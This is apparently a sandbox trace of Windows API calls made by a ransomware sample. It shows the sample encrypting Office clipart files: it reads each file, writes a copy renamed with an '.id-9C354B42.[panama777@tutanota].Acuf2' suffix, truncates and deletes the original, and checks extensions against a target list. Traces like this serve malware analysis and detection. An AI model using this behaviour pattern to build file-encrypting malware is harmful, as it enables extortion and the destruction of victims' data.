	[0254.774] CloseHandle (hObject=0x334) returned 1
	[0254.774] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.774] SetEndOfFile (hFile=0x330) returned 1
	[0254.777] CloseHandle (hObject=0x330) returned 1
	[0254.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1
	[0254.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.780] lstrlenW (lpString=".doc") returned 4
	[0254.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.780] lstrlenW (lpString=".docx") returned 5
	[0254.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.780] lstrlenW (lpString=".pdf") returned 4
	[0254.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.780] lstrlenW (lpString=".xls") returned 4
	[0254.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.780] lstrlenW (lpString=".xlsx") returned 5
	[0254.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.780] lstrlenW (lpString=".ppt") returned 4
	[0254.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.780] lstrlenW (lpString=".zip") returned 4
	[0254.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.780] lstrlenW (lpString=".rar") returned 4
	[0254.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.780] lstrlenW (lpString=".bz2") returned 4
	[0254.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.780] lstrlenW (lpString=".7z") returned 3
	[0254.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.780] lstrlenW (lpString=".dbf") returned 4
	[0254.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.781] lstrlenW (lpString=".1cd") returned 4
	[0254.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.781] lstrlenW (lpString=".jpg") returned 4
	[0254.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.781] lstrlenW (lpString=".doc") returned 4
	[0254.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString=".docx") returned 5
	[0254.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.781] lstrlenW (lpString=".pdf") returned 4
	[0254.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString=".xls") returned 4
	[0254.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.781] lstrlenW (lpString=".xlsx") returned 5
	[0254.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.781] lstrlenW (lpString=".ppt") returned 4
	[0254.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.781] lstrlenW (lpString=".zip") returned 4
	[0254.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.781] lstrlenW (lpString=".rar") returned 4
	[0254.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString=".bz2") returned 4
	[0254.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.781] lstrlenW (lpString=".7z") returned 3
	[0254.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.782] lstrlenW (lpString=".dbf") returned 4
	[0254.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.782] lstrlenW (lpString=".1cd") returned 4
	[0254.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63
	[0254.782] lstrlenW (lpString=".jpg") returned 4
	[0254.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.782] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.782] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0254.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.782] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2756) returned 1
	[0254.782] CloseHandle (hObject=0x330) returned 1
	[0254.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20
	[0254.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.783] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.783] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.783] GetLastError () returned 0x0
	[0254.783] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xac4, lpOverlapped=0x0) returned 1
	[0254.785] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xad0, lpOverlapped=0x0) returned 1
	[0254.786] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.786] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.786] SetEndOfFile (hFile=0x334) returned 1
	[0254.786] CloseHandle (hObject=0x334) returned 1
	[0254.786] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.786] SetEndOfFile (hFile=0x330) returned 1
	[0254.788] CloseHandle (hObject=0x330) returned 1
	[0254.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1
	[0254.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.788] lstrlenW (lpString=".doc") returned 4
	[0254.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.789] lstrlenW (lpString=".docx") returned 5
	[0254.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.789] lstrlenW (lpString=".pdf") returned 4
	[0254.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.789] lstrlenW (lpString=".xls") returned 4
	[0254.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.789] lstrlenW (lpString=".xlsx") returned 5
	[0254.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.789] lstrlenW (lpString=".ppt") returned 4
	[0254.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.789] lstrlenW (lpString=".zip") returned 4
	[0254.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.789] lstrlenW (lpString=".rar") returned 4
	[0254.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.789] lstrlenW (lpString=".bz2") returned 4
	[0254.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.789] lstrlenW (lpString=".7z") returned 3
	[0254.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString=".dbf") returned 4
	[0254.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString=".1cd") returned 4
	[0254.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString=".jpg") returned 4
	[0254.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString=".doc") returned 4
	[0254.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString=".docx") returned 5
	[0254.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.971] lstrlenW (lpString=".pdf") returned 4
	[0254.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString=".xls") returned 4
	[0254.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.971] lstrlenW (lpString=".xlsx") returned 5
	[0254.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.971] lstrlenW (lpString=".ppt") returned 4
	[0254.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.971] lstrlenW (lpString=".zip") returned 4
	[0254.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.972] lstrlenW (lpString=".rar") returned 4
	[0254.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.972] lstrlenW (lpString=".bz2") returned 4
	[0254.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.972] lstrlenW (lpString=".7z") returned 3
	[0254.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.972] lstrlenW (lpString=".dbf") returned 4
	[0254.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.972] lstrlenW (lpString=".1cd") returned 4
	[0254.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63
	[0254.972] lstrlenW (lpString=".jpg") returned 4
	[0254.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.972] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.972] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0254.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.032] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3416) returned 1
	[0255.032] CloseHandle (hObject=0x334) returned 1
	[0255.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20
	[0255.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.033] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.033] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.041] GetLastError () returned 0x0
	[0255.041] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xd58, lpOverlapped=0x0) returned 1
	[0255.042] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xd60, lpOverlapped=0x0) returned 1
	[0255.043] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.043] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.043] SetEndOfFile (hFile=0x328) returned 1
	[0255.043] CloseHandle (hObject=0x328) returned 1
	[0255.043] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.043] SetEndOfFile (hFile=0x334) returned 1
	[0255.046] CloseHandle (hObject=0x334) returned 1
	[0255.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1
	[0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.051] lstrlenW (lpString=".doc") returned 4
	[0255.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString=".docx") returned 5
	[0255.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.051] lstrlenW (lpString=".pdf") returned 4
	[0255.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString=".xls") returned 4
	[0255.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.051] lstrlenW (lpString=".xlsx") returned 5
	[0255.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.051] lstrlenW (lpString=".ppt") returned 4
	[0255.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.051] lstrlenW (lpString=".zip") returned 4
	[0255.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.051] lstrlenW (lpString=".rar") returned 4
	[0255.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString=".bz2") returned 4
	[0255.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString=".7z") returned 3
	[0255.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.051] lstrlenW (lpString=".dbf") returned 4
	[0255.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.051] lstrlenW (lpString=".1cd") returned 4
	[0255.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.052] lstrlenW (lpString=".jpg") returned 4
	[0255.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.052] lstrlenW (lpString=".doc") returned 4
	[0255.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString=".docx") returned 5
	[0255.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.052] lstrlenW (lpString=".pdf") returned 4
	[0255.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString=".xls") returned 4
	[0255.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.052] lstrlenW (lpString=".xlsx") returned 5
	[0255.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.052] lstrlenW (lpString=".ppt") returned 4
	[0255.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.052] lstrlenW (lpString=".zip") returned 4
	[0255.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.052] lstrlenW (lpString=".rar") returned 4
	[0255.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString=".bz2") returned 4
	[0255.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.052] lstrlenW (lpString=".7z") returned 3
	[0255.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.053] lstrlenW (lpString=".dbf") returned 4
	[0255.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.053] lstrlenW (lpString=".1cd") returned 4
	[0255.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63
	[0255.053] lstrlenW (lpString=".jpg") returned 4
	[0255.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.053] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.053] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0255.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.053] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4612) returned 1
	[0255.053] CloseHandle (hObject=0x350) returned 1
	[0255.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20
	[0255.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.054] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.054] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.054] GetLastError () returned 0x0
	[0255.054] ReadFile (in: hFile=0x350, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1204, lpOverlapped=0x0) returned 1
	[0255.198] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1210, lpOverlapped=0x0) returned 1
	[0255.199] ReadFile (in: hFile=0x350, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.199] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.199] SetEndOfFile (hFile=0x35c) returned 1
	[0255.199] CloseHandle (hObject=0x35c) returned 1
	[0255.199] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.200] SetEndOfFile (hFile=0x350) returned 1
	[0255.202] CloseHandle (hObject=0x350) returned 1
